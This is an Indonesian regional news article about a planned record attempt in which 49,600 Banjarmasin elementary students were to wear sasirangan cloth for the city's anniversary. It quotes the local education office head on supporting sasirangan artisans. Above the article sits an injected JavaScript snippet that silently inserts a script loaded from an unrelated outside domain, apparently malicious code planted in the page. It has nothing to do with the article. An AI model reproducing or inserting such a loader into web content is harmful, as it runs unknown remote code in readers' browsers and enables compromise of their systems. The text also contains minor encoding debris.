(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

49.600 Siswa SD akan Pecahkan Rekor Pakai Sasirangan Serentak di Puncak Harjad Banjarmasin Besok

KANALKALIMANTAN.COM, BANJARMASIN– Dinas Pendidikan Kota Banjarmasin ikut andil dalam memeriahkan peringatan hari jadi (Harjad) Kota Banjarmasin ke-496. Satu di antara pemecahan rekor Pemakaian Baju Sasirangan serentak olehÂ 49.600 lebih siswa Sekolah Dasar di Kota Banjarmasin.

Kegiatan itu akan dilaksanakan dalam puncak Harjad Kota Banjarmasin, Rabu (28/9/2022).

Kepala Dinas Pendidikan Kota Banjarmasin Nuryadi saat dikonfirmasi diruang kerjanya Selasa siang (27/9/2022) mengatakan, Kota Banjarmasin akan memecahkan rekor MURI untuk pengenaan baku sasirangan melibatkan sekitar 49.600 peserta dari 60.000 pelajar SD yang ada di Kota Banjarmasin.

“Ini yang sangat penting, pemecahan rekor pemakaian baju sasirangan oleh 49.600 siswa siswi SDÂ se Kota Banjarmasin, itu bahkan lebih dari pada itu karena kita mempunyai hampir 60 ribu siswa,” imbuh Kepala Dinas Pendidikan Kota Banjarmasin Nuryadi.

Baca jugaÂ :Â HSU Target Tekan Stunting Hingga 14 Persen di 2024

Dikatakan Nuryadi, sejalan dengan visi dan misi Wali Kota Banjarmasin H Ibnu Sina, yakni melestasrikan budaya kain sasirangan dan tentunya sebagai alat bantu bagi pengrajin sasirangan untuk meningkatkan produk usahanya.

“Dengan kegiatan ini nanti UKM ini jadi terbantu dengan sekolah yang memesan baju sasirangan untuk dijadikan seragam yang dipakai setiap hari kamis misalnya, serentak di kota banjarmasin,”

Untuk mengumpulkan sejumlah peserta itu, Dinas Pendidikan akan melibatkan seluruh Guru dan karyawan serta seluruh siswa untuk turut menghargai budaya sasirangan khas Kalimantan Selatan.

“Artinya dari sisi karyawan-karyawan, para guru hingga tentunya pelajar itu salahnya satu membantu UKM pengrajin sasirangan sehingga tetap eksis. Kalau satu sekolah memiliki kain mereka bangga dan tentunya menghargai hasil karya,” katanya.

Nuryadin berharap antusias atas keterlibatan seluruh guru pelajar dan karyawan dalam acara Harjad Kota Banjarmasin ini menjadikan pengaruh positif atas anjuran pemakaian sasirangan sebagai seragam yang serentak dikenakan setiap hari kamis. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell